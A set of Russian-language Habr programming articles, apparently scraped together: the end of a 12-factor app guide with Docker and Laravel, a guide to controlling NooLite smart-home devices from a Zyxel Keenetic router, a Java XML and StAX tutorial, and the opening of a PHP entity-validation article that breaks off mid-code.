* После того как код на **синем** сервере полностью обновлен, роутеру даётся команда на то что нужно переключиться с **зеленого** на **синий** сервер.
* Теперь все клиенты видят результат работы кода с **синего** сервера.
* Какое-то время, **зеленый** сервер служит резервной копией на случай неудачного деплоя на **синий** сервер и в случае неудачи и багов, роутер переключает поток пользователей обратно на **зеленый** сервер со старой стабильной версией, а новый код отправляется на доработку и тестирование.
* И под конец процесса, точно так же обновляется **зеленый** сервер. И после его обновления, роутер переключает поток запросов обратно на **зеленый** сервер.
Выглядит это все очень хорошо и на первый взгляд с этим не должно быть никаких проблем.
Но так как мы живем в современном мире, то вариант с физическим переключением как указано в классической схеме нам не подходит. Информацию пока зафиксируйте, мы вернемся к ней позже.
### Вредные и хорошие советы
*Disclaimer*: В примерах ниже указаны утилиты / методологии которые использую я, вы можете использовать абсолютно любые альтернативы со схожими функциями.
Большая часть примеров будет так или иначе пересекаться с веб-разработкой (вот это неожиданность), с PHP и Docker.
В пунктах ниже идет простое практическое описание использования факторов на определенных примерах, если вы хотите получить больше теории по данной теме, обратитесь по ссылкам выше к первоисточнику.
#### 1. Кодовая база
~~Используйте FTP и FileZilla загружая файлы на сервера по одной штучке, не храните код нигде кроме как на production сервере.~~
В проекте всегда должна быть единая кодовая база, то есть, весь код идет из одного **Git** репозитория. Серверы (production, staging, test1, test2 ...) используют код из веток одного общего репозитория. Таким образом мы добиваемся консистентность кода.
#### 2. Зависимости
~~Скачивайте все библиотеки папками прямо в корень проекта. Обновления делайте просто переносом нового кода в папку с текущей версией библиотеки. Ставьте все необходимые утилиты прямо на хостовый сервер где работает ещё 20 служб.~~
Проект всегда должен иметь четко понятный список зависимостей (под зависимостями я так же понимаю и окружение). Все зависимости должны быть явно определены и изолированы.
В качестве примера возьмем **Composer** и **Docker**.
**Composer** — пакетный менеджер, позволяющий устанавливать в PHP библиотеки. Composer дает возможность строго или не строго указывать версии, и явно их определять. На сервере может быть 20 различных проектов и у каждого будет личный список пакетов и библиотек не зависящий от другого.
**Docker** — утилита, позволяющая определять и изолировать окружение в котором будет работать приложение. Соответственно, так же как и с composer, но уже более основательно, мы можем определить то с чем работает приложение. Выбрать определенную версию PHP, поставить только необходимые для работы проекта пакеты, не добавляя ничего лишнего. А самое главное не пересекаясь с пакетами и окружением хостовой машины и других проектов. То есть все проекты на сервере работающие через Docker, могут использовать абсолютно любой набор пакетов и абсолютно разное окружение.
#### 3. Конфигурация
~~Храните конфиги константами прямо в коде. Отдельные константы для тестового сервера, отдельные для продакшена. Завязывайте работу приложения в зависимости от окружения прямо в бизнес логике проекта используя конструкции if else.~~
**Конфигурации** — это единственное чем должны различаться развертывания проекта (deployment). В идеале конфигурации должны передаваться через переменные окружения (env vars).
То есть даже если вы будете хранить несколько конфигурационных файлов .config.prod .config.local и переименовывать их в момент разворачивания в .config (основной конфиг из которого происходит чтение данных приложением) — это будет не верным подходом, так как в таком случае информация из конфигураций будет общедоступна всем разработчикам приложения и данные от продакшен сервера будут скомпрометированы. Все конфигурации должны хранится непосредственно в системе деплоймента (CI/CD) и генерироваться под разные окружения с разными значениями необходимыми для конкретного окружения именно в момент деплоймента.
#### 4. Сторонние службы (Backing Services)
~~Жестко завязывайтесь на окружении, используйте разные подключения для одних и тех же сервисов в определенных окружениях.~~
На самом деле этот пункт сильно пересекается с пунктом о конфигурациях, так как без наличия этого пункта не сделать нормальные конфигурационные данные и вообще возможность конфигурирования спадет на нет.
Все подключения к внешним службам, таким как серверы очередей, базы данных, службы кэширования должны быть едиными как для локального окружения, так и для стороннего / продакшен окружения. Иными словами, я в любой момент могу изменив строку подключения заменить обращения к базе #1 на базу #2 без изменения кода приложения. Или забегая вперед как пример подойдет то что при масштабировании сервиса, вам не придется для дополнительного сервера кэша указывать подключение каким-то особенным образом.
#### 5. Сборка, релиз, выполнение
~~Имейте на сервере только финальную версию кода, без шансов откатить релиз назад. Не нужно забивать дисковое пространство. Кто думает что может пустить код на продакшен с ошибкой, тот плохой программист!~~
Все стадии деплоймента, должны быть разделены между собой.
Имейте шанс откатиться назад. Делайте релизы с сохранением в быстром доступе старых копий приложения (уже собранных и готовых к бою), что бы в случае ошибок восстановить старую версию. То есть условно есть папка *releases* и папка *current*, и после успешного деплоя и сборки папка *current* связывается символической ссылкой с новым релизом который лежит внутри *releases* с условным названием номера релиза.
Вот тут мы и вспоминаем о Blue-Green deployment, который позволяет не просто делать переключение между кодом, но так же и переключение между всеми ресурсами и даже окружениями с возможностью откатить все назад.
#### 6. Процессы
~~Храните данные состояний приложения непосредственно в самом приложении. Используйте сессии в оперативной памяти самого приложения. Используйте как можно больше разделяемых между сторонними службами. Завязывайтесь на том что приложение может иметь только один процесс и не допускайте возможности масштабирования.~~
По поводу сессий, храните данные только в кэше, контролируемом сторонними службами (memcached, redis), таким образом даже если у вас будет 20 процессов приложения запущено, то любой из них обратившись в кэш, сможет продолжить работать с клиентом в том же состоянии в котором пользователь был работая с приложением в другом процессе. При таком подходе получается так что, сколько бы вы копий сторонних служб не использовали бы, все будет работать штатно и без проблем с доступом к данным.
#### 7. Привязка портов (Port binding)
~~Знать как работать со сторонними службами должен только веб-сервер. А лучше вообще поднимать сторонние службы прямо внутри веб сервера. Например как PHP модуль в Apache.~~
Все ваши службы должны быть доступны друг для друга через обращение к какому-либо адресу и порту (localgost:5432, localhost:3000, nginx:80, php-fpm:9000), то есть из nginx я могу получить доступ как к php-fpm, так и к postgres, а из php-fpm к postgres и nginx и собственно из каждой службы я могу получить доступ к другой службе. Таким образом жизнеспособность службы не завязана на жизнеспособности другой службы.
#### 8. Параллелизм
~~Работайте с одним процессом, а то вдруг несколько процессов не смогут друг с другом поладить!~~
Оставляйте возможность масштабирования. Отлично для этого подойдет docker swarm.
Docker Swarm — это инструмент для создания и управления кластерами контейнеров как между различными машинами так и кучей контейнеров на одной машине.
Используя swarm, я могу определять то сколько ресурсов я буду выделять на каждый процесс и какое количество процессов одной и той же службы я буду запускать, а внутренний балансировщик принимая данные на заданный порт, будет автоматически проксировать его на процессы. Таким образом увидев, что нагрузка на сервер выросла, я могу добавить больше процессов, тем самым уменьшить нагрузку на определенные процессы.
#### 9. Утилизируемость (Disposability)
~~Не используйте очереди для работы с процессами и данными. Убийство одного процесса должно влиять на работу всего приложения. Если упала одна служба — падает все.~~
Каждый процесс и служба могут быть выключены в любой момент и это не должно затронуть другие службы (речь конечно не о том что служба будет недоступна для другой службы, а о том что другая служба не отключится в след за этой). Все процессы должны завершаться мягко, таким образом что при их завершении не пострадают данные и при следующем включении система заработает корректно. То есть даже в случае аварийного завершения, данные не должны пострадать (тут подойдет механизм транзакций, запросы в бд работают только группами, и если хоть один запрос из группы не выполнился или выполнился с ошибкой, то не никакой другой запрос из группы в итоге не выполняется в действительности).
#### 10. Паритет разработки/работы приложения
~~Продакшен, стейджинг и локальная версия приложения должны быть разными. На продакшене у нас фреймворк Yii Lite, а локально Yii, чтоб на проде пошустрее работало!~~
В действительности все разворачивания и работа с кодом должны быть чуть ли не в идентичном окружении (речь не идет о физическом железе). Так же развернуть код на продакшене при необходимости, должен суметь любой сотрудник разрабоки, а не какой-то специально обученный devops отдел, который только благодаря особой силе может поднимать приложение в продакшене.
В этом так же нам помогает Docker. При соблюдении всех предыдущих пунктов, использование docker, доведет процесс разворачивания окружения как на production, так и на локальной машине до ввода одной-двух команд.
#### 11. Журналирование (Logs)
~~Логи пишем в файлы и бд! Файлы и бд от логов не чистим. Купим просто жесткий диск на 9000 Пета байт и норм.~~
Все логи надо рассматривать как поток событий. Само приложение не должно заниматься обработкой логов. Логи должны выдаваться либо в stdout, либо отправляться по такому протоколу как udp, чтобы приложению работа с логами не создавала никаких проблем. Для этого хорошо подойдет graylog. Graylog принимая все логи по udp (по этому протоколу не требуется дожидаться ответа об успешном приеме пакета) не мешает приложению никаким образом и занимается только структурированием и обработкой логов. Логика приложения не меняется для работы с подобными подходами.
#### 12. Задачи администрирования
~~Для обновления данных, бд и т/д используйте отдельно созданный эндпоинт в апи, выполнение которого 2 раза подряд приведет к тому что у вас все может за дублироваться. Но вы же не дураки, не нажмете 2 раза, а миграции нам ни к чему.~~
Все задачи администрирования должны выполняться в той же среде что и весь код, на уровне релизов. То есть, если нам необходимо изменить структуру бд, то мы не будем делать это руками меняя названия колонок и добавляя новые через какие-то визуальные инструменты управления БД. Для таких вещей мы создаем отдельные скрипты — миграции, которые выполняются везде и на всех окружениях одинакового с общим и понятным результатом. Для всех остальных задач, типа наполнения проекта данными, должны применяться схожие методологии.
### Пример реализации на PHP, Laravel, Laradock, Docker-Compose
P.S Все примеры делались на MacOS. Большая часть подойдет и для Linux. Пользователи Windows уж простите, но с виндой я давно не работал.
Представим ситуацию что у нас на ПК не установлена никакая версия PHP и вообще ничего нет.
Устанавливаем docker и docker-compose последних версий. (это можно найти в интернете)
```
docker -v && \
docker-compose -v
```
1. Ставим [Laradock](https://laradock.io/)
```
git clone https://github.com/Laradock/laradock.git && \
ls
```
По поводу Laradock скажу что это очень классная штука, в которой собрано очень много контейнеров и вспомогательных штук. Но использовать как таковой Laradock без модификаций на production — я бы не рекомендовал из-за его избыточности. Лучше создать свои контейнеры опираясь на примеры в Laradock, так будет куда оптимизирование, ибо никому не нужно все что там есть одновременно.
2. Конфигурируем Laradock для работы нашего приложения.
```
cd laradock && \
cp env-example .env
```
2.1. Открываем каталог habr (родительская папка в которую склонирован laradock) в каком либо редакторе. (В моем кейсе PHPStorm)
На этом этапе ставим только название проекту.
2.2. Запускаем образ workspace. (В вашем случае образы будут какое-то время билдиться)
Workspace — это специально подготовленный образ для работы с фреймворком от имени разработчика.
Переходим внутрь контейнера с помощью
```
docker-compose up -d workspace && \
docker-compose exec workspace bash
```
2.3. Устанавливаем Laravel
```
composer create-project --prefer-dist laravel/laravel application
```
2.4. После установки проверяем создалась ли директория с проектом, и убиваем compose.
```
ls
exit
docker-compose down
```
2.5. Возвращаемся обратно в PHPStorm и ставим верный путь до нашего laravel приложения в файле .env.
3. Добавим весь код в Git.
Для этого создадим на Github (или где угодно ещё) репозиторий. Перейдем в терминале в директорию habr и выполним следующий код.
```
echo "# habr-12factor" >> README.md
git init
git add README.md
git commit -m "first commit"
git remote add origin git@github.com:nzulfigarov/habr-12factor.git # здесь будет ссылка на ваш репо
git push -u origin master
git status
```
Проверяем все ли в порядке.
Для удобства рекомендую использовать какой-либо визуальный интерфейс для Git, в моём случае это [GitKraken](https://www.gitkraken.com/invite/qXBXV9Wm). (тут реферальная ссылка)
4. Запускаем!
Перед запуском убедитесь, что у вас на 80 и 443 порту ничего не висит.
```
docker-compose up -d nginx php-fpm
```
Таким образом наш проект состоит из 3 отдельных сервисов:
* nginx — веб-сервер
* php-fpm — php для приема запросов с с веб-сервера
* workspace — php для разработчика
На данный момент мы добились того, что создали приложение соответствующее, уже 4 пунктам из 12, а именно:
1. **Кодовая база** — весь код лежит в одном репозитории (небольшая ремарка: возможно правильным будет внести docker внутрь проекта laravel, но это не принципиально).
2. **Зависимости** — Все наши зависимости явно прописаны в application/composer.json и в каждом Dockerfile каждого контейнера.
3. **Сторонние службы (Backing Services)** — Каждая из служб (php-fom, nignx, workspace) живет своей жизнью и подключена из вне и при работе с одной службой, другая не будет затронута.
4. **Процессы** — каждая служба это один процесс. Каждая из служб не сохраняет внутреннее состояние.
5. **Привязка портов (Port binding)**
```
docker ps
```
Как мы видим, каждая служба запущена на своем собственном порту и доступна для всех других служб.
6. **Параллелизм**
Docker позволяет нам поднимать несколько процессов одних и тех же служб с автоматической балансировкой нагрузки между ними.
Остановим контейнеры и запустим их через флаг **--scale**
```
docker-compose down && \
docker-compose up -d --scale php-fpm=3 nginx php-fpm
```
Как мы видим, у php-fpm контейнера создались копии. Нам в работе с данным контейнером ничего не нужно менять. Мы так же продолжаем обращаться к нему по 9000 порту, а Docker за нас регулирует нагрузку между контейнерами.
7. **Утилизируемость (Disposability)** — каждый контейнер можно убить без вреда для другого. Остановка или перезапуск контейнера никак не повлияют на работу приложения при последующих запусках. Каждый контейнер так же можно поднять в любое время.
8. **Паритет разработки/работы приложения** — все наши окружения одинаковые. Запустив систему на сервере в продакшен вам не придется ничего менять в ваших командах. Все будет точно так же базироваться на Docker.
9. **Журналирование (Logs)** — все логи в данных контейнерах выходят на поток и видны в консоли Docker. (в данном кейсе, в действительности, с другими самодельными контейнерами, может быть не так если вы об этом не позаботитесь)
```
docker-compose logs -f
```
Но, тут есть загвоздка в том, что Default значения в PHP и Nginx так же записывают логи в файл. Для соответствия 12 факторам, необходимо **отключить** запись логов в файл в конфигурациях каждого контейнера отдельно.
Так же докер предоставляет возможность направлять логи не просто в stdout, а ещё и в такие вещи как graylog о котором я говорил выше. А внутри graylog, мы можем оперировать логами как угодно и наше приложение никак не будет замечать этого.
10. **Задачи администрирования** — все задачи администрирования решаются laravel благодаря инструменту artisan именно так как этого хотели бы создатели 12 факторного приложения.
В качестве примера покажу как выполняются некоторые команды.
Заходим в контейнер.
```
docker-compose exec workspace bash
php artisan list
```
Теперь можем воспользоваться любой командой. (обратите внимание что мы не настраивали базу данных и кэш поэтому половина команд не выполнится корректно, ибо они предназначены для работы с кэшем и бд).
11. **Конфигурации** и 12. **Сборка, релиз, выполнение**
Эту часть я хотел посвятить Blue-Green Deployment, но это оказалось слишком развернутым для этой статьи. Об этом я напишу отдельную статью.
В двух словах, концепт строится на системах CI/CD типо **Jenkins** и **Gitlab CI**. И в той и в другой можно задавать переменные окружения связанные с конкретным окружением. Соответственно при таком раскладе будет выполняться пункт с **Конфигурациями**.
А пункт про **Сборка, релиз, выполнение** решается встроенными в обе утилиты функции с названием **Pipeline**.
**Pipeline** позволяет разделять на много этапов процесс деплоймента, выделяя стадии сборки, релиза и выполнения. Так же в Pipeline, вы сможете создать бекапы, да и вообще что угодно. Этот инструмент с безграничным потенциалом.
Код приложения лежит на [Github](https://github.com/nzulfigarov/habr-12factor).
Не забудьте инициализировать submodule при клонировании данного репозитория.
P.S.: Все эти подходы можно использовать с любыми другими утилитами и языками программирования. Главное, чтобы суть не отличалась. | https://habr.com/ru/post/480020/ | null | ru | null |
# Управляем устройствами NooLite с роутера Zyxel Keenetic
В этой статье я расскажу о том, как управлять устройствами nooLite через USB переходник РС1ххх прямо из роутера Zyxel Keenetic — без участия компьютера.
### Преамбула
Темы про NooLite уже не раз тут мелькали, но, на всякий случай напомню, что это компоненты для построения «умного дома», общающиеся между собой посредством радиоканала. А ещё к их системе можно заказать USB адаптер, позволяющий отправлять команды с компьютера (на самом деле есть и тот, который может эти команды получать, но мы сейчас его рассматривать не будем). Когда-то давно я специально поднимал у себя на машине Web-сервер, на который можно было зайти с компьютера или телефона в домашней сети и управлять освещением, а также добавлять запланированные задачи. Например — я, как истинный сова, с трудом просыпаюсь рано утром, и даже с удовольствием не делал бы этого, но надо. И пробуждаться в темноте от звука будильника, было крайне тяжело, даже если поставить на него самую милую мелодию, из всех милых мелодий на земле. И я решил провести эксперимент, написав скрипт для плавного включения света, когда яркость увеличивается с 0 до 100% за 20 минут, тем самым имитируя восход солнца, и эксперимент удался — просыпаться стало значительно легче, когда свет не резко бьёт по глазам, а едва заметно нарастает, и организм реагирует на подобное пробуждение намного лучше будильника… Но что-то я ушёл от темы. Все это работало себе спокойно, и впрочем меня даже не напрягало то, что требуется постоянно включенный компьютер, у меня стоят тихие вентиляторы и его практически не слышно, но не так давно узнав, что на Zyxel Keenetic с прошивкой второй версии снова можно ставить пакеты OpenWRT у меня в голове начала созревать идея. И когда эта идея совсем меня допекла, никак не желая оставить в покое мой мозг, я решился — а, черт с ним! Впереди выходные, и я сделаю это!
### Повестка дня
Итак, что же я собственно сделал? Сделал я следующее:
— Веб-интерфейс управления светом и нагрузками прямо в роутере Zyxel Keenetic.
— Команды отправляются непосредственно с роутера, через USB передатчик NooLite (РС1ххх) воткнутый в USB порт роутера.
— В веб-интерфейсе можно настраивать запланированные задачи для cron для управления светом.
— Консольная утилита, позволяющая отправлять команды непосредственно из командной строки роутера (под SSH) и если мой веб-интерфейс пришёлся не по вкусу, можно написать свой или встроить её вызов откуда угодно.
**Shut up and take my money**
Итак, что нам потребуется для настройки. Для начала подготовим роутер, делается это просто и достаточно подробно расписано [тут](https://habrahabr.ru/post/306378/). Дальше нам потребуется доустановить несколько пакетов, посему выполняем следующее:
```
opkg update
opkg install php5-cgi lighttpd-mod-fastcgi cron
```
Эта команда устанавливает Веб-сервер, PHP, и cron для планирования задач. Я бы ещё Midnight Commander поставил, ибо удобнее:
```
opkg install mc
```
Дальше редактируем настройки Web-сервера: /opt/etc/lighttpd/lighttpd.conf указав верный порт:
`server.port = 82`
80-й порт уже занять Web-интерфейсом роутера, поэтому выбираем другой.
Затем редактируем файл:/opt/etc/lighttpd/conf.d/30-fastcgi.conf, сделав так:
`fastcgi.server = ( ".php" =>
( "php-local" =>
(
"socket" => "/opt/tmp/php-fastcgi-1.socket",
"bin-path" => "/opt/bin/php-fcgi",
"max-procs" => 1,
"broken-scriptfilename" => "enable",
)
),
# .....
# .....
)`
Вот и все, а теперь запускаем сервер:
```
lighttpd -f /opt/etc/lighttpd/lighttpd.conf
```
На этом подготовка закончена, и можно приступать к самому главному. Качаем [этот](http://codename33.ru/engine2013/files/noolite_zyxel.zip) архив. В нем находится программа, пару либов, и php файлы. Из папки binaries закидываем бинарники на флешку роутера, bin в bin, lib в lib, share в share. По идее он не должен предлагать что-то заменять, но если предложит — отказываемся, ибо тут надо разбираться. Если вы мне не доверяется, то в архиве в папке source лежит исходник утилиты для отправки команд NooLite, можете собрать его сами. Как это сделать — тема отдельная, здесь расписывать не буду, информации по этому поводу в сети много. Итак, если все файлы закинуты по своим местам, можно проверить работоспособность всего этого чуда. Идём в браузер и вводим IP адрес роутера и порт, который был вами указан в настройке веб-сервера.
`http://192.168.1.1:82/`
Тут мы должны увидеть страницу с управление освещением. Но не вашим, а моим. Для того, чтобы сделать свои настройки, вам понадобиться отредактировать файл: /opt/share/www/config.php
Я специально продокументировал его комментариями, думаю проблем с его редактированием не возникнет. После того как, вы настроите все под свою конфигурацию — можно начинать пользоваться. Веб-интерфейс сделан больше под мобильные устройства, но на десктопе тоже можно вполне пользоваться. Отдельное внимание обращаю на то, что создавать, включать, выключать и удалять задания для cron, можно прямо из браузера, при изменениях cron будет перезапущен и вам не надо ни о чем думать. Если же вы хотите пользоваться консольной утилитой, то просто наберите в SSH команду:
noolite
Вам выведется список параметров, тут тоже ничего сложного.
Я проверял это на Zyxel Keenetic Giga II, у него 2 USB порта, но насколько я знаю, на роутерах с одним USB портом, можно использовать хаб. Я решил это проверить и у меня через хаб заработало.
Вот и все, надеюсь вам было интересно и вы сочли эту статью полезной. Если есть вопросы — задавайте, буду рад ответить. | https://habr.com/ru/post/396635/ | null | ru | null |
# Java XML API: выбираем правильно. StAX: работаем с удовольствием
Здравствуйте!
Несмотря на снижение популярности формата XML с начала 2000х, он прочно занял свои ниши. Я сталкивался с обработкой XML ~ в 60% проектов и посвятил ей занятие своей стажировки Masterjava. Наиболее частые его применения: XHTML, SOAP, различные конфигурации (например Tomcat, SoapUI, IntelliJ IDEA, Spring XML конфигурация), импорт-экспорт данных.
В Java есть несколько API для работы с XML и для разработчика важно понимать, какое из API требуется выбрать в каждой конкретной ситуации. В этой статье я кратко перечислю все Java XML API, их назначение и примеры использования, и подробнее остановлюсь на работе с достаточно редкой, но в ряде случаев единственно верной технологией [StAX](https://en.wikipedia.org/wiki/StAX). Предполагается что [с элементами XML](http://genberm.narod.ru/xml/lections/xml/introduction.html) вы уже знакомы.
Java XML API: выбираем правильно
--------------------------------
* [JAXP (Java API for XML Processing)](https://www.ibm.com/developerworks/ru/library/x-jaxp/) это набор API (SAX + DOM + валидация DTD + XSLT). [Xerces](https://ru.wikipedia.org/wiki/Xerces) и [Xalan](https://ru.wikipedia.org/wiki/Xalan) — стандартные реализации этих API. Кроме XSLT все API устарели: на смену SAX пришел StAX, DOM сменил JAXB, DTD заменил XSD.
* [DOM](https://ru.wikipedia.org/wiki/Document_Object_Model) и [JAXB](https://ru.wikipedia.org/wiki/Java_Architecture_for_XML_Binding) — API для **полного** зачитывания XML и получения в приложении его готового представления в объектах Java. Для DOM это коллекции реализаций [интерфейса org.w3c.dom.Node](https://docs.oracle.com/javase/8/docs/api/org/w3c/dom/Node.html) (атрибуты, элементы, текст, ..). Для JAXB задается мапинг, наподобие тому, как в ORM задаются отображения таблиц базы данных в объекты Java. Т.е. из XML получаются готовые и удобные в использовании Java бины. JAXB — наиболее удобный и часто используемый API для работы с XML, когда требуется почитать весь XML (он должен поместиться в память JVM) и выполнить с ним требуемые действия.
* [DTD](https://ru.wikipedia.org/wiki/DTD) (устаревший) и [XSD](https://ru.wikipedia.org/wiki/XML_Schema_(W3C)) — схемы, задающие проверку структуры XML (порядок следования элементов, обязательность или опциональность элемента, наличие атрибутов у элемента). К XML можно привязать схему проверки структуры, и тогда инструменты, работающие с XML (например IntelliJ IDEA) могут делать автодополнение и показывать ошибки схемы. Также можно провалидировать XML документ из приложения. Формат XSD более современный и сам является XML документом.
* [XPath](https://ru.wikipedia.org/wiki/XPath) язык запросов к XML. Грубо можно сравнить с запросом SQL к базе данных, кода нам нужно достать из XML какой-то определенный элемент (или элементы) или [подсчитать их количество](https://stackoverflow.com/questions/7393541/count-of-element-in-xpath). Я видел их применение, например, в [ESB](https://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D1%80%D0%B2%D0%B8%D1%81%D0%BD%D0%B0%D1%8F_%D1%88%D0%B8%D0%BD%D0%B0_%D0%BF%D1%80%D0%B5%D0%B4%D0%BF%D1%80%D0%B8%D1%8F%D1%82%D0%B8%D1%8F): данные между системами передаются в XML формате и в конфигурации каждая система через XPath «выкусывает» из XML нужные ей данные. Чаще всего XPath используется при трансформации XML.
* [XSL, XSLT](https://ru.wikipedia.org/wiki/XSL) — преобразования XML в любой другой формат. Одно из применений, например, [отдать с сервера в браузер ответ в виде XML и задать его XSL-преобразование в HTML](https://habrahabr.ru/post/43356/). Все современные браузеры поддерживают XSLT преобразования, т.е. на стороне клиента самостоятельно трансформируют XML по заданной XSL к требуемому виду.
* [SAX](https://ru.wikipedia.org/wiki/SAX) и [StAX](https://en.wikipedia.org/wiki/StAX) — последовательное чтение из источника XML.Документ читается последовательно по кусочкам (событиям). API между собой отличаются тем, что SAX основан на модели push, а Stax на модели pull. Если вы когда-то делали на javascript несколько последовательных AJAX запросов, то сталкивались с [callback hell](http://callbackhell.ru/). Выполнение кода делается асинхронно и код пишется не последовательно, а ступеньками в функциях возврата. При использовании SAX происходит нечто подобное: нужно задавать функции для обработки определенных событий в XML (начало тэга, конец тэга, текст внутри тэга, комментарий) и внутри этих обработчиков задавать новые обработчики. Работать со StAX гораздо удобнее. Мы последовательно читаем из документа события, анализируем их и обрабатываем подходящие. Эти API используются при очень больших документах, из которых зачитываются списки объектов по одному по мере их появления в документе, либо когда нам интересен не весь документ, а его определенная часть и модель всего документа не нужна.
В [сравнительной табличке API по их возможностям](http://www.duct-tape-architect.ru/?p=315#i) `Easy of Use` для SAX/StAX говорит о том,что автор не умеет работать со StAX и оставшаяся часть статьи будет о том, как «правильно его готовить».
StAX: работаем с удовольствием
------------------------------
Прежде всего хочу отметить, что со StAX можно работать через 2 API: низкоуровневое [XMLStreamReader](https://www.ibm.com/developerworks/ru/library/x-stax1/), возвращающая примитивы и высокоуровневое [XMLEventReader](https://www.ibm.com/developerworks/ru/library/x-stax2/), которое возвращает объекты и расходует больше памяти. Далее я буду работать с XMLStreamReader. Сделав над ним обертку работа с XML будет простой и удобной.Разберем небольшой пример: есть простой XML с городами и юзерами:
```
Санкт-Петербург
Москва
...
...
gmail@gmail.com
Gmail User
admin@javaops.ru
Admin
...
...
```
В реальности этот XML может содержать сотни городов и сотни тысяч / миллионы юзеров. Все, что требуется: распечатать список городов. В данном случае StAX API — единственно верный выбор. Добавляем в проект вспомогательный класс `StaxStreamProcessor`:
```
public class StaxStreamProcessor implements AutoCloseable {
private static final XMLInputFactory FACTORY = XMLInputFactory.newInstance();
private final XMLStreamReader reader;
public StaxStreamProcessor(InputStream is) throws XMLStreamException {
reader = FACTORY.createXMLStreamReader(is);
}
public XMLStreamReader getReader() {
return reader;
}
@Override
public void close() {
if (reader != null) {
try {
reader.close();
} catch (XMLStreamException e) { // empty
}
}
}
}
```
Далее мы последовательно идем по XML, считываем все интересные нам события и выводим требуемую информацию:
```
try (StaxStreamProcessor processor = new StaxStreamProcessor(Files.newInputStream(Paths.get("payload.xml")))) {
XMLStreamReader reader = processor.getReader();
while (reader.hasNext()) { // while not end of XML
int event = reader.next(); // read next event
if (event == XMLEvent.START_ELEMENT &&
"City".equals(reader.getLocalName())) {
System.out.println(reader.getElementText());
}
}
}
```
Чтобы постоянно не дублировать в программе часто повторяющийся код поиска нужного события в XML, мы можем добавить его в `StaxStreamProcessor`:
```
public boolean doUntil(int stopEvent, String value) throws XMLStreamException {
while (reader.hasNext()) {
int event = reader.next();
if (event == stopEvent && value.equals(reader.getLocalName())) {
return true;
}
}
return false;
}
```
Пользоваться утильным классом станет не просто, а очень просто:
```
while (processor.doUntil(XMLEvent.START_ELEMENT, "City")){
System.out.println(reader.getElementText());
}
```
Недостаток этого кода — мы совершенно бесполезно потратим ресурсы на прохождение по сотням тысяч ненужных нам юзеров вместо завершения программы. Нужно добавить условие прекращение сканирования XML. Обычно это конец тэга родительского элемента (в нашем случае `Cities`). Добавляем в `StaxStreamProcessor` еще один утильный метод, который сканирует XML либо до конца тэга родителя, либо до заданного элемента:
```
public boolean startElement(String element, String parent) throws XMLStreamException {
while (reader.hasNext()) {
int event = reader.next();
if (parent != null && event == XMLEvent.END_ELEMENT &&
parent.equals(reader.getLocalName())) {
return false;
}
if (event == XMLEvent.START_ELEMENT &&
element.equals(reader.getLocalName())) {
return true;
}
}
return false;
}
```
Добавим методы чтения атрибута и текста:
```
public String getAttribute(String name) throws XMLStreamException {
return reader.getAttributeValue(null, name);
}
public String getText() throws XMLStreamException {
return reader.getElementText();
}
```
Код вызова останется суперпростым и мы прекратим обработку XML сразу после конца тега `Cities`:
```
while (processor.startElement("City", "Cities")) {
System.out.println(processor.getAttribute("id") +":" + processor.getText());
}
```
StAX API требует аккуратность при чтении событий. Если в выводе мы помяняем местами чтение атрибута и текста, но код станет нерабочим: после прочтения из XML названия города атрибут останется позади и будет недоступен. Также следует помнить, что, в зависимости от текущего положения XML, нам доступны одни методы API чтения из XML и недоступны другие.Используя `startElement` можно добираться до элементов XML любой степени вложенности и, по мере необходимости, дополнять `StaxStreamProcessor` другими утильными методами. Надеюсь что с данным подходом работа с StAX покажется вам легкой и удобной.
Спасибо за внимание и приятного кодинга! | https://habr.com/ru/post/339716/ | null | ru | null |
# Валидация в приложении на PHP (часть 1 — валидация доменного слоя)
Статья рассчитана не на новичков, потому нормально, если по ходу чтения какие-то понятия будут вам неизвестны, я постарался коротко раскрыть их здесь, а также указал ссылки на посты в моём [телеграм канале Beer::PHP](https://t.me/joinchat/-KlDbLhFw-Q4NzEy) , которые могут чуть подробнее раскрыть то или иное понятие.
В следующей части мы рассмотрим и пользовательскую валидацию и поговорим про ограничения в базе данных, но начнем мы сразу с [доменного слоя](https://t.me/beerphp/22) нашего приложения, то есть с той самой бизнес логики.
Валидация Entity
----------------
Рано или поздно, пользовательские данные переданные в наше приложение попадают внутрь **Entity**.
> **Entity** — это объекты, которые хранят состояние вашего приложения.
>
>
Но не "просто хранят". Сущность всегда должна защищать свои доменные инварианты и следить за тем, чтобы она находилась в согласованном состоянии.
> Инварианты — это некоторые условия, которые остаются истинными на протяжении всей жизни объекта. Как правило, инварианты передают внутреннее состояние объекта.
>
>
*Entity не должна существовать в вашем приложении если внутри неполные или невалидные данные.*
Как этого добиться?
### Проверка данных в конструкторе
Конструктор должен принимать все параметры, которые обязательны для существования сущности, а также валидировать их перед тем, как присвоить значение свойству. Все необязательные параметры могут быть заданы значениями по-умолчанию или быть присвоенными отдельными методами, в которых также следует добавлять проверки перед присваиванием.
В конструкторе необходимо проверять, что данные адекватны, например, что значения находятся в допустимом диапазоне, все значения присутствуют и т.д. В случае если что-то не так - вы должны выбрасывать исключения.
```
class Order
{
private Product $product;
private int $quantity;
public function __construct(Product $product, int $quantity)
{
if ($quantity <= 0) {
throw new MinQuantityException();
}
}
}
```
Но ведь мы же не будем показывать пользователям исключения?
Всё правильно, исключения не для пользователей. **Exceptions**, трассировка и контекст должны быть видны только разработчикам. Все исключения выброшенные разработчиком должны быть обработаны перед тем как вывести пользователю что-то на экран.
### Проверка данных в методе
Когда обновление определенного поля фактически представляет действие, выполняемое над объектом, определите для него метод в самой сущности. Задача такого метода также заключается в проверке предоставленных ему данных, он должен убедиться, что можно обновить данные, учитывая текущее состояние объекта.
Например вы работаете с заказами. Заказ товара может быть отменен, если он не доставлен. Вместо того чтобы где-то вне сущности делать:
```
$order->getStatus();
// isn't delivered
$order->setCancel();
```
Определите метод **cancel()**, который будет выполнять проверки внутри сущности и если всё согласовано — менять её состояние.
```
class Order
{
// ...
public function cancel(): void
{
if ($this->status === STATUS::DELIVERED) {
throw new LogicException(
sprintf(
'Order %s has already been delivered',
$this->id->asString()
)
);
}
$this->status = STATUS::CANCEL;
}
}
```
### Используйте Value Objects для проверки отдельных значений
Данный подход позволяет и делегировать проверки, и переиспользовать их в дальнейшем в других частях нашего приложения. Для примера возьмем класс **Account**, который уже валидирует свои данные в конструкторе и в одном из методов:
```
class Account
{
private string $accountNumber;
private float $amount = 0.00;
private string $currency = 'USD';
const NUMBER_OF_CHARACTERS = 16;
public function __construct(string $accountNumber)
{
if (strlen($accountNumber) !== self::NUMBER_OF_CHARACTERS) {
// throw exception
}
